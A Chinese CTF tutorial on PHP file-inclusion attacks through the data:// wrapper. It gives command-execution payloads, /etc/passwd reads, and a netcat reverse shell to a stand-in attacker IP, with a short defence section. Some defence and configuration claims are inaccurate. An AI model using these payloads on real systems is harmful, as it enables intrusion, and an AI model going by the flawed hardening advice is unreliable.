【CTF】 文件包含漏洞——data伪协议 【详】
data 伪协议的详细介绍
data
伪协议是 PHP 中的一个特殊协议,它允许将原始数据嵌入到 URL 中。通过文件包含漏洞,我们可以利用这个伪协议,将恶意 PHP 代码作为数据嵌入,并让服务器解释执行。该方法适用于无法直接上传文件或插入代码的情况下,非常适合在 Local File Inclusion (LFI) 漏洞中执行任意命令。
data 伪协议的基本原理
- data 伪协议 格式:
data://[<MIME-type>][;charset=<encoding>][;base64],<data>
- MIME-type:指定数据的类型,默认是
text/plain
。 - charset:指定数据的编码类型,如
utf-8
。 - base64:如果使用 Base64 编码,则加上该标识。
- data:实际的数据内容。
- MIME-type:指定数据的类型,默认是
在 LFI 漏洞中,我们可以利用这个协议直接嵌入 PHP 代码并执行。
data 伪协议的应用场景
1. 执行系统命令
通过 PHP 的文件包含漏洞,可以让 data
伪协议嵌入系统命令并执行。例如:
-
URL:
?file=data://text/plain,<?php system('ls'); ?>
-
原理:
这会将<?php system('ls'); ?>
当作 PHP 代码执行,并列出当前目录中的所有文件。如果目录中有flag
文件,攻击者就能看到它的名称。
2. 读取敏感文件
有时目标文件位置未知,可以尝试使用系统命令 cat
或 tac
读取文件内容。
-
URL:
?file=data://text/plain,<?php system('cat /etc/passwd'); ?>
-
效果:
执行该命令后,系统会将/etc/passwd
文件的内容显示在页面上。该文件中可能包含用户账号信息。
data 伪协议的编码形式
有些服务器可能不直接执行原始的 PHP 代码,需要将数据进行 URL 编码。
-
URL 编码后的请求:
?file=data://text/plain,%3C%3Fphp%20system%28%27ls%27%29%3B%20%3F%3E
-
解释:
这里将<?php system('ls'); ?>
编码成了%3C%3Fphp%20system%28%27ls%27%29%3B%20%3F%3E
。浏览器会自动解码这些字符,让 PHP 引擎可以解析执行。
data 伪协议的优劣分析
优点:
- 绕过上传限制:不需要上传文件,只需通过 URL 注入代码即可。
- 绕过 WAF:大部分 Web 应用防火墙可能不会检测到这种方式的攻击。
- 灵活性强:可以直接执行 PHP 代码或系统命令。
- 不需要知道敏感文件的路径:通过
system('ls')
等命令,可以动态查找目录中的文件。
缺点:
- 依赖 PHP 配置:如果服务器禁用了命令执行函数(如
system()
、exec()
),攻击可能失败。 - 需要 LFI 漏洞:这种攻击方式需要目标存在文件包含漏洞才能生效。
- 字符限制:某些服务器可能对 URL 长度或字符类型有限制,导致无法顺利执行复杂的代码。
实战案例
假设我们发现一个存在 LFI 漏洞的网站:
http://example.com/vulnerable.php?file=
步骤 1:使用 data 伪协议列出文件
我们可以构造如下请求,列出目标目录中的所有文件:
http://example.com/vulnerable.php?file=data://text/plain,<?php system('ls'); ?>
效果: 如果目录中存在 flag.txt
文件,输出会是类似这样的结果:
index.php vulnerable.php flag.txt
步骤 2:读取敏感文件
接下来,我们尝试读取 flag.txt
文件的内容:
http://example.com/vulnerable.php?file=data://text/plain,<?php system('cat flag.txt'); ?>
效果: 如果成功,页面会显示类似这样的输出:
flag{12345abcdef}
步骤 3:动态执行任意代码
我们可以通过这种方式执行任意 PHP 代码。例如,我们想执行反向 Shell 连接到攻击者机器:
http://example.com/vulnerable.php?file=data://text/plain,<?php system('nc -e /bin/bash attacker_ip 4444'); ?>
效果: 这会在目标服务器上打开一个反向 Shell,连接到攻击者的 IP(attacker_ip
)上,端口为 4444。
如何防御 data 伪协议攻击
- 严格验证用户输入:确保所有包含的文件来源可靠,并且限制文件路径在指定目录内。
- 禁用不必要的 PHP 函数:在
php.ini
中禁用如system()
、exec()
等函数。 - 限制伪协议的使用:可以通过设置
disable_functions
禁用某些伪协议。 - 使用 WAF:配置 Web 应用防火墙来检测并阻止常见的 LFI 攻击。
总结
data
伪协议是一种强大的工具,允许攻击者在文件包含漏洞中执行任意代码或命令。它的灵活性和绕过限制的能力,使其在安全测试中被广泛使用。但其有效性依赖于服务器的配置,因此加强输入验证和服务器配置,是防御这种攻击的关键。
data://text/plain
的含义
text/plain
是 MIME 类型,表示嵌入的数据是纯文本。不同的 MIME 类型告诉程序如何解释数据内容。
text/plain 的具体含义
text/plain
MIME 类型:- 表示数据是普通文本文件,没有任何特定的格式或编码。
- 在 PHP 的文件包含漏洞中,当使用
data://text/plain
时,PHP 会将数据视为纯文本进行读取。 - 但是,如果该文本数据本身是 PHP 代码(如
<?php system('ls'); ?>
),且它被include()
、require()
等函数加载,那么它会被当作 PHP 代码解析和执行。
data://text/plain 的实际作用
在 LFI 漏洞中使用 data://text/plain
可以让我们通过 URL 注入 PHP 代码,并且这些代码会在服务器端执行。
示例:执行系统命令
-
URL:
?file=data://text/plain,<?php system('ls'); ?>
-
解释:
data://
告诉 PHP 加载内联数据。text/plain
表示数据是纯文本类型,但在通过include()
加载时,PHP 会解析文本中的代码片段(如<?php system('ls'); ?>
),并将其执行。
常见 MIME 类型和区别
text/plain
:普通文本,不含格式。text/html
:HTML 文档,浏览器会将其解析为网页内容。application/json
:JSON 数据格式。application/php
:专门表示 PHP 文件的 MIME 类型。
即便我们使用了 text/plain
,当文本内容包含 PHP 代码,且文件是通过 include()
之类的函数引入时,PHP 仍会执行这些代码。
为什么使用 text/plain
?
- 兼容性高:大部分系统和应用默认支持解析
text/plain
。 - PHP 自动解析:即便声明为纯文本,只要文本中有 PHP 代码,PHP 会将其解析。
- 简洁:不需要复杂格式或特殊编码,直接嵌入和执行代码。
总结
data://text/plain
的作用是将嵌入的纯文本作为数据传递。但在文件包含漏洞中,它可以被用来嵌入并执行 PHP 代码,从而实现命令执行或敏感文件读取。虽然 MIME 类型是 text/plain
,但 PHP 会解析并执行其中的 PHP 代码。这种用法非常适合渗透测试中的 LFI 攻击。